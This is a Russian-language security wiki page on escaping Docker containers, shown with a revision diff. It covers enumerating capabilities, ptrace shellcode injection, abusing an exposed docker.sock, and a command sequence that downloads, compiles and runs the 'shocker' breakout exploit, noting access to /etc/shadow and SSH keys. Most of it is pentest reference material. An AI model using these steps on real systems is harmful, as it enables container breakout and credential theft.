Docker escape — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (DAC_READ_SEARCH)
м (DAC_READ_SEARCH)
Строка 114: Строка 114:
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Инструкция по эксплуатации https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3
+
Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search
 +
 
 +
 
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
cd /tmp
 +
apt update
 +
apt install gcc wget
 +
wget http://stealth.openwall.net/xSports/shocker.c
 +
gcc shocker.c
 +
./a.out
 +
</syntaxhighlight>
  
 
==== DAC_OVERRIDE ====
 
==== DAC_OVERRIDE ====

Версия 14:09, 11 марта 2022


Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.

Начальный доступ

SSRF

Доступ, когда можно только делать запросы по различным протоколам.

Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).

Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер

Local file reading

Доступ, когда можно только читать локальные файлы.

Remote code execution

Capabilities

Получить список возможных capabilities:

1 capsh --print


Описание capabilities

Или сложнее:

1 cat /proc/self/status | grep Cap

Пример вывода:

1 CapInh: 0000000000000000
2 CapPrm: 0000003fffffffff
3 CapEff: 0000003fffffffff
4 CapBnd: 0000003fffffffff
5 CapAmb: 0000000000000000

Чтобы декодировать:

1 capsh --decode=0000003fffffffff
2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Тестовая инфраструктура для произвольной capability:

1 sudo docker run --cap-add название_capability -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

CAP_SYS_ADMIN

Эта capability позволяет получить максимальные права. В своем роде alias на другие.

Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.


CAP_SYS_PTRACE + host pid

Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый) 2. Запускаем gdb -p PID 3. Встраиваем инструкции (шеллкод) 4. Запускаем инструкции

CAP_SYS_MODULE

Позволяет модифицировать ядро.

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

DAC_READ_SEARCH

Позволяет прочитать содержимое /etc/shadow и /root/.ssh/*.

Тестовая инфраструктура:

1 sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search


1 cd /tmp
2 apt update
3 apt install gcc wget
4 wget http://stealth.openwall.net/xSports/shocker.c
5 gcc shocker.c
6 ./a.out

DAC_OVERRIDE

CAP_SYS_RAWIO

CAP_SYSLOG

CAP_NET_RAW

CAP_NET_ADMIN

CVE

Runc exploit (CVE-2019-5736)

Sockets

Docker Sockets

Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.

Это позволяет выполнять стандартные docker команды на хостовой системе.

1 find / -name docker.sock 2>/dev/null
2 # Как правило будет /run/docker.sock

Если docker.sock будет лежать по адресу /run/docker.sock то можно использовать стандартную команду docker.

Иначе потребуется использовать команду

1 docker -H unix:///path/to/docker.sock ...


rktlet socket

unix:///var/run/rktlet.sock


frakti socket

unix:///var/run/frakti.sock


cri-o socket

unix:///var/run/crio/crio.sock


containerd socket

unix:///run/containerd/containerd.sock


dockershim socket

unix:///var/run/dockershim.sock


Privileged container

Ссылки